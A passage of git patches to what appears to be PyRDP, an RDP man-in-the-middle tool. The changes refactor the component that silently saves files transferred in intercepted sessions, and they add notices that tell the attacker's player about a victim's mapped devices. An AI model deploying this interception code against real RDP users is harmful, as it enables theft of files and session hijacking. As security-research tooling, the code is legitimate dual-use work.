super().__init__(object_hook=self.decodeFileMapping) - - def decodeFileMapping(self, dct: Dict): - for key in ["remotePath", "localPath", "creationTime"]: - if key not in dct: - return dct - - creationTime = datetime.datetime.strptime(dct["creationTime"], "%Y-%m-%dT%H:%M:%S.%f") - return FileMapping(Path(dct["remotePath"]), Path(dct["localPath"]), creationTime, dct["sha1"]) - - -class FileProxy: - """ - Proxy object that waits until a file is accessed before creating it. - """ - - def __init__(self, path: Path, mode: str, mapping: FileMapping, log: LoggerAdapter): - """ - :param path: path of the file - :param mode: file opening mode - :param mapping: FileMapping object for this file - :param log: logger for this component - """ - self.path = path - self.mode = mode - self.mapping = mapping - self.log = log - self.file: BinaryIO = None - - def createFile(self): - """ - Create the file and overwrite this object's methods with the file object's methods. - """ - - if self.file is None: - self.log.info("Saving file '%(remotePath)s' to '%(localPath)s'", {"localPath": self.path, "remotePath": self.mapping.remotePath}) - - self.file = open(str(self.path), self.mode) - self.write = self.file.write - self.seek = self.file.seek - self.close = self.file.close - - def write(self, *args, **kwargs): - self.createFile() - self.file.write(*args, **kwargs) - - def seek(self, *args, **kwargs): - self.createFile() - self.file.seek(*args, **kwargs) - - def close(self): - if self.file is not None: - self.log.debug("Closing file %(path)s", {"path": self.path}) - self.file.close() +from pyrdp.pdu import DeviceCloseRequestPDU, DeviceCreateRequestPDU, DeviceIORequestPDU, \ + DeviceIOResponsePDU, DeviceListAnnounceRequest, DeviceReadRequestPDU, DeviceRedirectionPDU class DeviceRedirectionMITM: """ MITM component for the device redirection channel. + It saves files transferred over RDP to a local directory. The files aren't named after their remote name to avoid + conflicts. Rather, they are given a random name, and the mapping to their remote path is given by the mapping.json + file. Each unique file (identified by its hash) is saved only once. Duplicates are removed to avoid filling the drive + with identical files. """ def __init__(self, client: DeviceRedirectionLayer, server: DeviceRedirectionLayer, log: LoggerAdapter, config: MITMConfig): @@ -152,6 +36,7 @@ def __init__(self, client: DeviceRedirectionLayer, server: DeviceRedirectionLaye :param log: logger for this component :param config: MITM configuration """ + super().__init__() self.client = client self.server = server @@ -159,15 +44,9 @@ def __init__(self, client: DeviceRedirectionLayer, server: DeviceRedirectionLaye self.config = config self.currentIORequests: Dict[int, DeviceIORequestPDU] = {} self.openedFiles: Dict[int, FileProxy] = {} + self.openedMappings: Dict[int, FileMapping] = {} self.fileMap: Dict[str, FileMapping] = {} - - try: - with open(self.filemapFile, "r") as f: - self.fileMap: Dict[str, FileMapping] = json.loads(f.read(), cls=FileMappingDecoder) - except IOError: - pass - except json.JSONDecodeError: - self.log.error(f"Failed to decode file mapping, overwriting previous file") + self.fileMapPath = self.config.outDir / "mapping.json" self.client.createObserver( onPDUReceived=self.onClientPDUReceived, @@ -177,19 +56,20 @@ def __init__(self, client: DeviceRedirectionLayer, server: DeviceRedirectionLaye onPDUReceived=self.onServerPDUReceived, ) - @property - def filemapFile(self) -> str: - """ - Get the path to the saved file mapping. - """ - return str(self.config.outDir / "mapping.json") + try: + with open(self.fileMapPath, "r") as f: + self.fileMap: Dict[str, FileMapping] = json.loads(f.read(), cls=FileMappingDecoder) + except IOError: + pass + except json.JSONDecodeError: + self.log.error(f"Failed to decode file mapping, overwriting previous file") def saveMapping(self): """ Save the file mapping to a file in JSON format. """ - with open(self.filemapFile, "w") as f: + with open(self.fileMapPath, "w") as f: f.write(json.dumps(self.fileMap, cls=FileMappingEncoder, indent=4, sort_keys=True)) def onClientPDUReceived(self, pdu: DeviceRedirectionPDU): @@ -214,19 +94,6 @@ def handlePDU(self, pdu: DeviceRedirectionPDU, destination: DeviceRedirectionLay destination.sendPDU(pdu) - def handleDeviceListAnnounceRequest(self, pdu: DeviceListAnnounceRequest): - """ - Log mapped devices. - :param pdu: the device list announce request. - """ - - for device in pdu.deviceList: - self.log.info("%(deviceName)s mapped with ID %(deviceID)d: %(deviceData)s", { - "deviceName": DeviceType.getPrettyName(device.deviceType), - "deviceID": device.deviceID, - "deviceData": device.preferredDosName.rstrip(b"\x00").decode() - }) - def handleIORequest(self, pdu: DeviceIORequestPDU): """ Keep track of IO requests that are active. @@ -235,6 +102,7 @@ def handleIORequest(self, pdu: DeviceIORequestPDU): self.currentIORequests[pdu.completionID] = pdu + def handleIOResponse(self, pdu: DeviceIOResponsePDU): """ Handle an IO response, depending on what kind of request originated it. @@ -257,6 +125,19 @@ def handleIOResponse(self, pdu: DeviceIOResponsePDU): else: self.log.error("Received IO response to unknown request #%(completionID)d", {"completionID": pdu.completionID}) + def handleDeviceListAnnounceRequest(self, pdu: DeviceListAnnounceRequest): + """ + Log mapped devices. + :param pdu: the device list announce request. + """ + + for device in pdu.deviceList: + self.log.info("%(deviceName)s mapped with ID %(deviceID)d: %(deviceData)s", { + "deviceName": DeviceType.getPrettyName(device.deviceType), + "deviceID": device.deviceID, + "deviceData": device.preferredDosName.rstrip(b"\x00").decode() + }) + def handleCreateResponse(self, request: DeviceCreateRequestPDU, response: DeviceIOResponsePDU): """ Prepare to intercept a file: create a FileProxy object, which will only create the file when we actually write @@ -274,9 +155,17 @@ def handleCreateResponse(self, request: DeviceCreateRequestPDU, response: Device if isFileRead and isNotDirectory: remotePath = Path(decodeUTF16LE(request.path).rstrip("\x00")) mapping = FileMapping.generate(remotePath, self.config.fileDir) + proxy = FileProxy(mapping.localPath, "wb") + + self.openedFiles[response.fileID] = proxy + self.openedMappings[response.fileID] = mapping - localPath = mapping.localPath - self.openedFiles[response.fileID] = FileProxy(localPath, "wb", mapping, self.log) + proxy.createObserver( + onFileCreated = lambda _: self.log.info("Saving file '%(remotePath)s' to '%(localPath)s'", { + "localPath": mapping.localPath, "remotePath": mapping.remotePath + }), + onFileClosed = lambda _: self.log.debug("Closing file %(path)s", {"path": mapping.localPath}) + ) def handleReadResponse(self, request: DeviceReadRequestPDU, response: DeviceIOResponsePDU): @@ -292,8 +181,13 @@ def handleReadResponse(self, request: DeviceReadRequestPDU, response: DeviceIORe file.seek(request.offset) file.write(response.readData) - self.fileMap[file.mapping.localPath.name] = file.mapping - self.saveMapping() + # Save the mapping permanently + mapping = self.openedMappings[request.fileID] + fileName = mapping.localPath.name + + if fileName not in self.fileMap: + self.fileMap[fileName] = mapping + self.saveMapping() def handleCloseResponse(self, request: DeviceCloseRequestPDU, _: DeviceIOResponsePDU): """ @@ -310,8 +204,10 @@ def handleCloseResponse(self, request: DeviceCloseRequestPDU, _: DeviceIORespons if file.file is None: return + currentMapping = self.openedMappings.pop(request.fileID) + # Compute the hash for the final file - with open(str(file.mapping.localPath), "rb") as f: + with open(currentMapping.localPath, "rb") as f: sha1 = hashlib.sha1() while True: @@ -322,16 +218,16 @@ def handleCloseResponse(self, request: DeviceCloseRequestPDU, _: DeviceIORespons sha1.update(buffer) - file.mapping.hash = sha1.hexdigest() + currentMapping.hash = sha1.hexdigest() # Check if a file with the same hash exists. If so, keep that one and remove the current file. for localPath, mapping in self.fileMap.items(): - if mapping is file.mapping: + if mapping is currentMapping: continue - if mapping.hash == file.mapping.hash: - file.mapping.localPath.unlink() - self.fileMap.pop(file.mapping.localPath.name) + if mapping.hash == currentMapping.hash: + currentMapping.localPath.unlink() + self.fileMap.pop(currentMapping.localPath.name) break self.saveMapping() \ No newline at end of file diff --git a/pyrdp/mitm/FileMapping.py b/pyrdp/mitm/FileMapping.py new file mode 100644 index 000000000..656f2b452 --- /dev/null +++ b/pyrdp/mitm/FileMapping.py @@ -0,0 +1,80 @@ +import datetime +import json +from pathlib import Path +from typing import Dict + +import names + + +class FileMapping: + """ + Class that maps a remote path to a local path. Used by the device redirection MITM component when it saves files + transferred over RDP. + """ + + def __init__(self, remotePath: Path, localPath: Path, creationTime: datetime.datetime, fileHash: str): + """ + :param remotePath: the path of the file on the original machine + :param localPath: the path of the file on the intercepting machine + :param creationTime: the creation time of the local file + :param fileHash: the file hash in hex format (empty string if the file is not complete) + """ + self.remotePath = remotePath + self.localPath = localPath + self.creationTime = creationTime + self.hash: str = fileHash + + @staticmethod + def generate(remotePath: Path, outDir: Path): + localName = f"{names.get_first_name()}{names.get_last_name()}" + creationTime = datetime.datetime.now() + + index = 2 + suffix = "" + + while True: + if not (outDir / f"{localName}{suffix}").exists(): + break + else: + suffix = f"_{index}" + index += 1 + + localName += suffix + + return FileMapping(remotePath, outDir / localName, creationTime, "") + + +class FileMappingEncoder(json.JSONEncoder): + """ + JSON encoder for FileMapping objects. + """ + + def default(self, o): + if isinstance(o, datetime.datetime): + return o.isoformat() + elif not isinstance(o, FileMapping): + return super().default(o) + + return { + "remotePath": str(o.remotePath), + "localPath": str(o.localPath), + "creationTime": o.creationTime, + "sha1": o.hash + } + + +class FileMappingDecoder(json.JSONDecoder): + """ + JSON decoder for FileMapping objects. + """ + + def __init__(self): + super().__init__(object_hook=self.decodeFileMapping) + + def decodeFileMapping(self, dct: Dict): + for key in ["remotePath", "localPath", "creationTime"]: + if key not in dct: + return dct + + creationTime = datetime.datetime.strptime(dct["creationTime"], "%Y-%m-%dT%H:%M:%S.%f") + return FileMapping(Path(dct["remotePath"]), Path(dct["localPath"]), creationTime, dct["sha1"]) \ No newline at end of file From 3caa5fd0fb31e33c718f998191292601b42abe4b Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Mon, 8 Apr 2019 14:05:00 -0400 Subject: [PATCH 058/113] Add observer class for rdpdr MITM --- pyrdp/mitm/AttackerMITM.py | 12 ++++++++++-- pyrdp/mitm/DeviceRedirectionMITM.py | 14 +++++++++++--- 2 files changed, 21 insertions(+), 5 deletions(-) diff --git a/pyrdp/mitm/AttackerMITM.py b/pyrdp/mitm/AttackerMITM.py index 4b590eafc..dad83b218 100644 --- a/pyrdp/mitm/AttackerMITM.py +++ b/pyrdp/mitm/AttackerMITM.py @@ -4,19 +4,21 @@ # Licensed under the GPLv3 or later. # from logging import LoggerAdapter +from typing import Dict from pyrdp.enum import FastPathInputType, FastPathOutputType, MouseButton, PlayerPDUType, PointerFlag, ScanCodeTuple from pyrdp.layer import FastPathLayer, PlayerLayer +from pyrdp.mitm.DeviceRedirectionMITM import DeviceRedirectionMITMObserver from pyrdp.mitm.MITMRecorder import MITMRecorder from pyrdp.mitm.state import RDPMITMState from pyrdp.parser import BitmapParser -from pyrdp.pdu import BitmapUpdateData, FastPathBitmapEvent, FastPathInputEvent, FastPathMouseEvent, \ +from pyrdp.pdu import BitmapUpdateData, DeviceAnnounce, FastPathBitmapEvent, FastPathInputEvent, FastPathMouseEvent, \ FastPathOutputEvent, FastPathPDU, FastPathScanCodeEvent, FastPathUnicodeEvent, PlayerBitmapPDU, \ PlayerForwardingStatePDU, PlayerKeyboardPDU, PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerMouseWheelPDU, \ PlayerPDU, PlayerTextPDU -class AttackerMITM: +class AttackerMITM(DeviceRedirectionMITMObserver): """ MITM component for commands coming from the player. The job of this component is just to adapt the format of events received to the format expected by RDP. @@ -31,6 +33,7 @@ def __init__(self, client: FastPathLayer, server: FastPathLayer, attacker: Playe :param log: state of the MITM :param recorder: recorder for this connection """ + super().__init__() self.client = client self.server = server @@ -38,6 +41,7 @@ def __init__(self, client: FastPathLayer, server: FastPathLayer, attacker: Playe self.log = log self.state = state self.recorder = recorder + self.devices: Dict[int, DeviceAnnounce] = {} self.attacker.createObserver( onPDUReceived = self.onPDUReceived, @@ -152,3 +156,7 @@ def handleBitmap(self, pdu: PlayerBitmapPDU): bitmapData = BitmapParser().writeBitmapUpdateData([bitmap]) event = FastPathBitmapEvent(FastPathOutputType.FASTPATH_UPDATETYPE_BITMAP, None, [], bitmapData) self.sendOutputEvents([event]) + + + def onDeviceAnnounce(self, device: DeviceAnnounce): + self.devices[device.deviceID] = device \ No newline at end of file diff --git a/pyrdp/mitm/DeviceRedirectionMITM.py b/pyrdp/mitm/DeviceRedirectionMITM.py index 30b4f3908..ef95e383d 100644 --- a/pyrdp/mitm/DeviceRedirectionMITM.py +++ b/pyrdp/mitm/DeviceRedirectionMITM.py @@ -10,17 +10,23 @@ from pathlib import Path from typing import Dict -from pyrdp.core import decodeUTF16LE, FileProxy +from pyrdp.core import decodeUTF16LE, FileProxy, ObservedBy, Observer, Subject from pyrdp.enum import CreateOption, DeviceType, FileAccess, IOOperationSeverity from pyrdp.layer import DeviceRedirectionLayer from pyrdp.mitm.config import MITMConfig from pyrdp.mitm.FileMapping import FileMapping, FileMappingDecoder, FileMappingEncoder from pyrdp.parser import DeviceRedirectionParser -from pyrdp.pdu import DeviceCloseRequestPDU, DeviceCreateRequestPDU, DeviceIORequestPDU, \ +from pyrdp.pdu import DeviceAnnounce, DeviceCloseRequestPDU, DeviceCreateRequestPDU, DeviceIORequestPDU, \ DeviceIOResponsePDU, DeviceListAnnounceRequest, DeviceReadRequestPDU, DeviceRedirectionPDU -class DeviceRedirectionMITM: +class DeviceRedirectionMITMObserver(Observer): + def onDeviceAnnounce(self, device: DeviceAnnounce): + pass + + +@ObservedBy(DeviceRedirectionMITMObserver) +class DeviceRedirectionMITM(Subject): """ MITM component for the device redirection channel. It saves files transferred over RDP to a local directory. The files aren't named after their remote name to avoid @@ -138,6 +144,8 @@ def handleDeviceListAnnounceRequest(self, pdu: DeviceListAnnounceRequest): "deviceData": device.preferredDosName.rstrip(b"\x00").decode() }) + self.observer.onDeviceAnnounce(device) + def handleCreateResponse(self, request: DeviceCreateRequestPDU, response: DeviceIOResponsePDU): """ Prepare to intercept a file: create a FileProxy object, which will only create the file when we actually write From c3ec65f492c079fc7418c5b27deefc70321ac3c1 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Wed, 10 Apr 2019 14:44:26 -0400 Subject: [PATCH 059/113] Add AttackerMITM as an observer to DeviceRedirectionMITM --- pyrdp/mitm/mitm.py | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/pyrdp/mitm/mitm.py b/pyrdp/mitm/mitm.py index 5490983ff..2c1ab2eec 100644 --- a/pyrdp/mitm/mitm.py +++ b/pyrdp/mitm/mitm.py @@ -237,6 +237,12 @@ def buildIOChannel(self, client: MCSServerChannel, server: MCSClientChannel): self.fastPath = FastPathMITM(self.client.fastPath, self.server.fastPath, self.state) self.attacker = AttackerMITM(self.client.fastPath, self.server.fastPath, self.player.player, self.log, self.state, self.recorder) + if MCSChannelName.DEVICE_REDIRECTION in self.state.channelMap: + deviceRedirectionChannel = self.state.channelMap[MCSChannelName.DEVICE_REDIRECTION] + + if deviceRedirectionChannel in self.channelMITMs: + self.channelMITMs[deviceRedirectionChannel].addObserver(self.attacker) + LayerChainItem.chain(client, self.client.security, self.client.slowPath) LayerChainItem.chain(server, self.server.security, self.server.slowPath) @@ -291,6 +297,9 @@ def buildDeviceChannel(self, client: MCSServerChannel, server: MCSClientChannel) mitm = DeviceRedirectionMITM(clientLayer, serverLayer, self.getLog(MCSChannelName.DEVICE_REDIRECTION), self.config) self.channelMITMs[client.channelID] = mitm + if self.attacker: + mitm.addObserver(self.attacker) + def buildVirtualChannel(self, client: MCSServerChannel, server: MCSClientChannel): """ Build a generic MITM component for any virtual channel. From ef36f8da93408d1857447f56a0a8befba1324393 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Wed, 10 Apr 2019 14:59:46 -0400 Subject: [PATCH 060/113] Add PDU to notify of device mappings --- pyrdp/enum/player.py | 1 + pyrdp/mitm/mitm.py | 2 +- pyrdp/parser/player.py | 22 ++++++++++++++++++---- pyrdp/pdu/__init__.py | 4 ++-- pyrdp/pdu/player.py | 12 ++++++++++-- 5 files changed, 32 insertions(+), 9 deletions(-) diff --git a/pyrdp/enum/player.py b/pyrdp/enum/player.py index defb3764a..edf712dea 100644 --- a/pyrdp/enum/player.py +++ b/pyrdp/enum/player.py @@ -20,6 +20,7 @@ class PlayerPDUType(IntEnum): TEXT = 12 # Text event from the player FORWARDING_STATE = 13 # Event from the player to change the state of I/O forwarding BITMAP = 14 # Bitmap event from the player + DEVICE_MAPPING = 15 # Device mapping event notification class MouseButton(IntEnum): diff --git a/pyrdp/mitm/mitm.py b/pyrdp/mitm/mitm.py index 2c1ab2eec..ad9880da4 100644 --- a/pyrdp/mitm/mitm.py +++ b/pyrdp/mitm/mitm.py @@ -239,7 +239,7 @@ def buildIOChannel(self, client: MCSServerChannel, server: MCSClientChannel): if MCSChannelName.DEVICE_REDIRECTION in self.state.channelMap: deviceRedirectionChannel = self.state.channelMap[MCSChannelName.DEVICE_REDIRECTION] - + if deviceRedirectionChannel in self.channelMITMs: self.channelMITMs[deviceRedirectionChannel].addObserver(self.attacker) diff --git a/pyrdp/parser/player.py b/pyrdp/parser/player.py index c0863ddbc..cc9ddf690 100644 --- a/pyrdp/parser/player.py +++ b/pyrdp/parser/player.py @@ -1,10 +1,10 @@ from io import BytesIO from pyrdp.core import Int16LE, Uint16LE, Uint32LE, Uint64LE, Uint8 -from pyrdp.enum import MouseButton, PlayerPDUType +from pyrdp.enum import DeviceType, MouseButton, PlayerPDUType from pyrdp.parser.segmentation import SegmentationParser -from pyrdp.pdu import Color, PlayerBitmapPDU, PlayerForwardingStatePDU, PlayerKeyboardPDU, PlayerMouseButtonPDU, \ - PlayerMouseMovePDU, PlayerMouseWheelPDU, PlayerPDU, PlayerTextPDU +from pyrdp.pdu import Color, PlayerBitmapPDU, PlayerDeviceMappingPDU, PlayerForwardingStatePDU, PlayerKeyboardPDU, \ + PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerMouseWheelPDU, PlayerPDU, PlayerTextPDU class PlayerParser(SegmentationParser): @@ -174,4 +174,18 @@ def parseBitmap(self, stream: BytesIO, timestamp: int) -> PlayerBitmapPDU: def writeBitmap(self, pdu: PlayerBitmapPDU, stream: BytesIO): Uint32LE.pack(pdu.width, stream) Uint32LE.pack(pdu.height, stream) - stream.write(pdu.pixels) \ No newline at end of file + stream.write(pdu.pixels) + + + def parseDeviceMapping(self, stream: BytesIO, timestamp: int) -> PlayerDeviceMappingPDU: + deviceID = Uint32LE.unpack(stream) + deviceType = DeviceType(Uint32LE.unpack(stream)) + nameLength = Uint32LE.unpack(stream) + name = stream.read(nameLength).decode() + return PlayerDeviceMappingPDU(timestamp, deviceID, deviceType, name) + + def writeDeviceMapping(self, pdu: PlayerDeviceMappingPDU, stream: BytesIO): + Uint32LE.pack(pdu.deviceID, stream) + Uint32LE.pack(pdu.deviceType, stream) + Uint32LE.pack(len(pdu.name), stream) + stream.write(pdu.name.encode()) \ No newline at end of file diff --git a/pyrdp/pdu/__init__.py b/pyrdp/pdu/__init__.py index 29586cd48..d0251976f 100644 --- a/pyrdp/pdu/__init__.py +++ b/pyrdp/pdu/__init__.py @@ -9,8 +9,8 @@ MCSChannelJoinRequestPDU, MCSConnectInitialPDU, MCSConnectResponsePDU, MCSDisconnectProviderUltimatumPDU, \ MCSDomainParams, MCSErectDomainRequestPDU, MCSPDU, MCSSendDataIndicationPDU, MCSSendDataRequestPDU from pyrdp.pdu.pdu import PDU -from pyrdp.pdu.player import Color, PlayerBitmapPDU, PlayerForwardingStatePDU, PlayerKeyboardPDU, PlayerMouseButtonPDU, \ - PlayerMouseMovePDU, PlayerMouseWheelPDU, PlayerPDU, PlayerTextPDU +from pyrdp.pdu.player import Color, PlayerBitmapPDU, PlayerDeviceMappingPDU, PlayerForwardingStatePDU, \ + PlayerKeyboardPDU, PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerMouseWheelPDU, PlayerPDU, PlayerTextPDU from pyrdp.pdu.rdp.bitmap import BitmapUpdateData from pyrdp.pdu.rdp.capability import BitmapCacheHostSupportCapability, BitmapCacheV1Capability, BitmapCacheV2Capability, \ BitmapCapability, BitmapCodec, BitmapCodecsCapability, BrushCapability, Capability, ClientCapsContainer, \ diff --git a/pyrdp/pdu/player.py b/pyrdp/pdu/player.py index f814ac523..b22124ead 100644 --- a/pyrdp/pdu/player.py +++ b/pyrdp/pdu/player.py @@ -4,7 +4,7 @@ # Licensed under the GPLv3 or later. # -from pyrdp.enum import PlayerPDUType +from pyrdp.enum import DeviceType, PlayerPDUType from pyrdp.enum.player import MouseButton from pyrdp.pdu.pdu import PDU @@ -121,4 +121,12 @@ def __repr__(self): properties = dict(self.__dict__) properties["pixels"] = f"[Color * {len(self.pixels)}]" representation = self.__class__.__name__ + str(properties) - return representation \ No newline at end of file + return representation + + +class PlayerDeviceMappingPDU(PlayerPDU): + def __init__(self, timestamp: int, deviceID: int, deviceType: DeviceType, name: str): + super().__init__(PlayerPDUType.DEVICE_MAPPING, timestamp, b"") + self.deviceID = deviceID + self.deviceType = deviceType + self.name = name \ No newline at end of file From 1badf3a6e167fe2281cfe3aaa75a31b2077a513f Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Wed, 10 Apr 2019 15:10:52 -0400 Subject: [PATCH 061/113] Notify the player when a device is mapped --- pyrdp/layer/player.py | 3 +++ pyrdp/mitm/AttackerMITM.py | 15 ++++++++++++--- pyrdp/player/RDPMITMWidget.py | 20 ++++++++++---------- 3 files changed, 25 insertions(+), 13 deletions(-) diff --git a/pyrdp/layer/player.py b/pyrdp/layer/player.py index eb012b7d1..b423bcb69 100644 --- a/pyrdp/layer/player.py +++ b/pyrdp/layer/player.py @@ -3,6 +3,7 @@ # Copyright (C) 2018 GoSecure Inc. # Licensed under the GPLv3 or later. # +import time from pyrdp.core import ObservedBy from pyrdp.enum import PlayerPDUType @@ -59,3 +60,5 @@ def sendMessage(self, data: bytes, messageType: PlayerPDUType, timeStamp: int): pdu = PlayerPDU(messageType, timeStamp, data) self.sendPDU(pdu) + def getCurrentTimeStamp(self) -> int: + return int(time.time() * 1000) \ No newline at end of file diff --git a/pyrdp/mitm/AttackerMITM.py b/pyrdp/mitm/AttackerMITM.py index dad83b218..6a33cc41c 100644 --- a/pyrdp/mitm/AttackerMITM.py +++ b/pyrdp/mitm/AttackerMITM.py @@ -14,8 +14,8 @@ from pyrdp.parser import BitmapParser from pyrdp.pdu import BitmapUpdateData, DeviceAnnounce, FastPathBitmapEvent, FastPathInputEvent, FastPathMouseEvent, \ FastPathOutputEvent, FastPathPDU, FastPathScanCodeEvent, FastPathUnicodeEvent, PlayerBitmapPDU, \ - PlayerForwardingStatePDU, PlayerKeyboardPDU, PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerMouseWheelPDU, \ - PlayerPDU, PlayerTextPDU + PlayerDeviceMappingPDU, PlayerForwardingStatePDU, PlayerKeyboardPDU, PlayerMouseButtonPDU, PlayerMouseMovePDU, \ + PlayerMouseWheelPDU, PlayerPDU, PlayerTextPDU class AttackerMITM(DeviceRedirectionMITMObserver): @@ -159,4 +159,13 @@ def handleBitmap(self, pdu: PlayerBitmapPDU): def onDeviceAnnounce(self, device: DeviceAnnounce): - self.devices[device.deviceID] = device \ No newline at end of file + self.devices[device.deviceID] = device + + name = device.preferredDosName + endPosition = name.find(b"\x00") + + if endPosition >= 0: + name = name[: endPosition] + + pdu = PlayerDeviceMappingPDU(self.attacker.getCurrentTimeStamp(), device.deviceID, device.deviceType, name.decode()) + self.attacker.sendPDU(pdu) \ No newline at end of file diff --git a/pyrdp/player/RDPMITMWidget.py b/pyrdp/player/RDPMITMWidget.py index 34220fefb..bc2a0b6d9 100644 --- a/pyrdp/player/RDPMITMWidget.py +++ b/pyrdp/player/RDPMITMWidget.py @@ -48,7 +48,7 @@ def mouseMoveEvent(self, event: QMouseEvent): x, y = self.getMousePosition(event) - pdu = PlayerMouseMovePDU(self.getTimetamp(), x, y) + pdu = PlayerMouseMovePDU(self.layer.getCurrentTimeStamp(), x, y) self.layer.sendPDU(pdu) def mousePressEvent(self, event: QMouseEvent): @@ -72,7 +72,7 @@ def handleMouseButton(self, event: QMouseEvent, pressed: bool): if button not in mapping: return - pdu = PlayerMouseButtonPDU(self.getTimetamp(), x, y, mapping[button], pressed) + pdu = PlayerMouseButtonPDU(self.layer.getCurrentTimeStamp(), x, y, mapping[button], pressed) self.layer.sendPDU(pdu) @@ -86,7 +86,7 @@ def wheelEvent(self, event: QWheelEvent): event.setAccepted(True) - pdu = PlayerMouseWheelPDU(self.getTimetamp(), x, y, delta, horizontal) + pdu = PlayerMouseWheelPDU(self.layer.getCurrentTimeStamp(), x, y, delta, horizontal) self.layer.sendPDU(pdu) @@ -118,7 +118,7 @@ def handleKeyEvent(self, event: QKeyEvent, released: bool): offset = 0 scanCode = keyboard.findScanCodeForEvent(event) or event.nativeScanCode() + offset - pdu = PlayerKeyboardPDU(self.getTimetamp(), scanCode, released, event.key() in keyboard.EXTENDED_KEYS) + pdu = PlayerKeyboardPDU(self.layer.getCurrentTimeStamp(), scanCode, released, event.key() in keyboard.EXTENDED_KEYS) self.layer.sendPDU(pdu) @@ -132,10 +132,10 @@ def sendKeySequence(self, keys: [Qt.Key]): scanCode = keyboard.SCANCODE_MAPPING[key] isExtended = key in keyboard.EXTENDED_KEYS - pressPDU = PlayerKeyboardPDU(self.getTimetamp(), scanCode, False, isExtended) + pressPDU = PlayerKeyboardPDU(self.layer.getCurrentTimeStamp(), scanCode, False, isExtended) pressPDUs.append(pressPDU) - releasePDU = PlayerKeyboardPDU(self.getTimetamp(), scanCode, True, isExtended) + releasePDU = PlayerKeyboardPDU(self.layer.getCurrentTimeStamp(), scanCode, True, isExtended) releasePDUs.append(releasePDU) def press() -> int: @@ -158,13 +158,13 @@ def sendText(self, text: str): functions = [] def pressCharacter(character: str) -> int: - pdu = PlayerTextPDU(self.getTimetamp(), character, False) + pdu = PlayerTextPDU(self.layer.getCurrentTimeStamp(), character, False) print(c) self.layer.sendPDU(pdu) return RDPMITMWidget.KEY_SEQUENCE_DELAY def releaseCharacter(character: str): - pdu = PlayerTextPDU(self.getTimetamp(), character, True) + pdu = PlayerTextPDU(self.layer.getCurrentTimeStamp(), character, True) self.layer.sendPDU(pdu) for c in text: @@ -185,10 +185,10 @@ def setControlState(self, controlled: bool): self.sendCurrentScreen() def setForwardingState(self, shouldForward: bool): - self.layer.sendPDU(PlayerForwardingStatePDU(self.getTimetamp(), shouldForward, shouldForward)) + self.layer.sendPDU(PlayerForwardingStatePDU(self.layer.getCurrentTimeStamp(), shouldForward, shouldForward)) def sendCurrentScreen(self): width = self._buffer.width() height = self._buffer.height() - pdu = PlayerBitmapPDU(self.getTimetamp(), width, height, self._buffer.bits()) + pdu = PlayerBitmapPDU(self.layer.getCurrentTimeStamp(), width, height, self._buffer.bits()) self.layer.sendPDU(pdu) \ No newline at end of file From 95605ec4730a3d3909687d2a6790f1d63eb9cee3 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Wed, 10 Apr 2019 15:16:12 -0400 Subject: [PATCH 062/113] PlayerHandler -> PlayerEventHandler --- pyrdp/player/LiveTab.py | 5 +++-- pyrdp/player/{PlayerHandler.py => PlayerEventHandler.py} | 2 +- pyrdp/player/ReplayTab.py | 4 ++-- pyrdp/player/__init__.py | 2 +- 4 files changed, 7 insertions(+), 6 deletions(-) rename pyrdp/player/{PlayerHandler.py => PlayerEventHandler.py} (99%) diff --git a/pyrdp/player/LiveTab.py b/pyrdp/player/LiveTab.py index 5a15b8d64..82d923c3c 100644 --- a/pyrdp/player/LiveTab.py +++ b/pyrdp/player/LiveTab.py @@ -3,6 +3,7 @@ # Copyright (C) 2018 GoSecure Inc. # Licensed under the GPLv3 or later. # + import asyncio from PySide2.QtCore import Qt, Signal @@ -10,7 +11,7 @@ from pyrdp.player.AttackerBar import AttackerBar from pyrdp.player.BaseTab import BaseTab -from pyrdp.player.PlayerHandler import PlayerHandler +from pyrdp.player.PlayerEventHandler import PlayerEventHandler from pyrdp.player.PlayerLayerSet import AsyncIOPlayerLayerSet from pyrdp.player.RDPMITMWidget import RDPMITMWidget @@ -29,7 +30,7 @@ def __init__(self, parent: QWidget = None): super().__init__(rdpWidget, parent) self.layers = layers self.rdpWidget = rdpWidget - self.eventHandler = PlayerHandler(self.widget, self.text) + self.eventHandler = PlayerEventHandler(self.widget, self.text) self.attackerBar = AttackerBar() self.attackerBar.controlTaken.connect(lambda: self.rdpWidget.setControlState(True)) diff --git a/pyrdp/player/PlayerHandler.py b/pyrdp/player/PlayerEventHandler.py similarity index 99% rename from pyrdp/player/PlayerHandler.py rename to pyrdp/player/PlayerEventHandler.py index 16a064873..8f65d1e0e 100644 --- a/pyrdp/player/PlayerHandler.py +++ b/pyrdp/player/PlayerEventHandler.py @@ -22,7 +22,7 @@ from pyrdp.ui import QRemoteDesktop, RDPBitmapToQtImage -class PlayerHandler(PlayerObserver): +class PlayerEventHandler(PlayerObserver): """ Class to manage the display of the RDP player when reading events. """ diff --git a/pyrdp/player/ReplayTab.py b/pyrdp/player/ReplayTab.py index a64d3e6b4..12b0eccc3 100644 --- a/pyrdp/player/ReplayTab.py +++ b/pyrdp/player/ReplayTab.py @@ -2,7 +2,7 @@ from pyrdp.layer import PlayerLayer from pyrdp.player.BaseTab import BaseTab -from pyrdp.player.PlayerHandler import PlayerHandler +from pyrdp.player.PlayerEventHandler import PlayerEventHandler from pyrdp.player.Replay import Replay from pyrdp.player.ReplayBar import ReplayBar from pyrdp.player.ReplayThread import ReplayThread @@ -25,7 +25,7 @@ def __init__(self, fileName: str, parent: QWidget = None): self.fileName = fileName self.file = open(self.fileName, "rb") - self.eventHandler = PlayerHandler(self.widget, self.text) + self.eventHandler = PlayerEventHandler(self.widget, self.text) replay = Replay(self.file) self.thread = ReplayThread(replay) diff --git a/pyrdp/player/__init__.py b/pyrdp/player/__init__.py index 9b1fb98c2..1a6c56025 100644 --- a/pyrdp/player/__init__.py +++ b/pyrdp/player/__init__.py @@ -10,7 +10,7 @@ from pyrdp.player.LiveThread import LiveThread from pyrdp.player.LiveWindow import LiveWindow from pyrdp.player.MainWindow import MainWindow -from pyrdp.player.PlayerHandler import PlayerHandler +from 